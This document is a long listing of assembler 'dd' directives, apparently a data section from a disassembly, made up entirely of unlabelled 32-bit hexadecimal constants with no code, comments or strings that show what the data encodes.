dd 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h
dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh
dd 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h
dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh
dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h
dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh
dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h
dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch
dd 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h
dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh
dd 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h
dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh
dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h
dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h
dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h, 31382433h
dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah
dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh
dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h
dd 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh
dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh
dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh
dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch
dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h
dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h
dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h
dd 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h, 0E094D500h
dd 3B1C98C4h, 74F9A0BEh
dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h
dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h
dd 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch
dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh
dd 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h
dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h
dd 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh
dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h
dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h
dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h
dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h
dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h
dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h
dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h
dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh
dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h
dd 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h
dd 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h
dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h
dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh
dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h
dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h
dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah
dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h
dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h
dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh
dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh
dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h
dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h
dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h
dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h
dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch
dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh
dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h
dd 0EA6F4363h, 581862h, 6C1C6847h, 77875166h, 31706B00h
dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h
dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h
dd 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh
dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch
dd 3741150h, 61670046h, 60886376h, 8BA05677h, 6D000A62h
dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh
dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h
dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh
dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h
dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h
dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h
dd 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h
dd 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h
dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h
dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h
dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h
dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh
dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h
dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh
dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h
dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h
dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h
dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h
dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h
dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h
dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h
dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h
dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh
dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh
dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh
dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h
dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh
dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h
dd 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h
dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h
dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh
dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h
dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h
dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h
dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h
dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h
dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h
dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh
dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh
dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h
dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h
dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh
dd 8053B84h, 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h
dd 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h
dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah
dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h
dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h
dd 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh
dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h
dd 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h
dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h
dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh
dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h
dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h
dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h
dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h
dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh
dd 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh
dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h
dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h, 0D4DDC30Ch
dd 80072089h, 1DC0267Bh
dd 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch
dd 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h
dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h
dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh
dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h
dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h
dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h
dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h
dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh
dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h
dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh
dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h
dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h
dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h
dd 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h
dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh
dd 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h
dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h
dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h
dd 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h
dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h
dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah
dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh
dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h
dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah
dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h
dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh
dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h
dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h
dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h
dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh
dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h
dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h
dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh
dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h
dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h
dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h
dd 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh
dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh
dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h
dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh
dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h
dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh
dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h
dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h
dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h
dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh
dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h
dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h
dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h
dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h
dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch
dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h
dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh
dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh
dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h
dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h
dd 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h
dd 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh
dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h
dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h
dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h
dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h, 70690052h
dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch
dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h
dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh
dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh
dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h
dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h
dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h
dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h
dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah
dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h
dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h
dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h
dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h
dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h
dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h
dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h
dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h
dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h
dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h
dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh
dd 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h
dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah
dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h
dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh
dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h
dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h
dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh
dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h
dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h
dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h
dd 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h
dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh, 9729863Ch
dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h
dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h
dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h
dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h
dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah
dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h
dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h, 817A4400h
dd 586A07E2h, 0F0C43FE4h
dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h
dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h
dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h, 804B49BFh
dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh
dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h
dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh
dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h
dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h
dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h
dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h
dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h
dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h
dd 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch
dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah
dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh
dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h
dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch
dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h
dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh
dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h
dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h
dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch
dd 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h
dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h
dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh
dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h
dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh
dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h
dd 3685944h, 30058B64h, 3C148500h, 421904F2h, 0C4080F02h
dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h
dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h
dd 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h
dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h
dd 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h
dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h
dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h
dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h
dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h
dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh
dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh
dd 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah
dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h
dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h
dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h
dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h
dd 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h
dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h
dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h
dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h
dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h
dd 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h
dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh
dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h
dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h
dd 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh
dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh
dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh
dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h
dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h
dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h
dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh
dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh
dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h
dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h
dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h
dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch
dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh
dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h
dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h
dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h
dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h
dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h
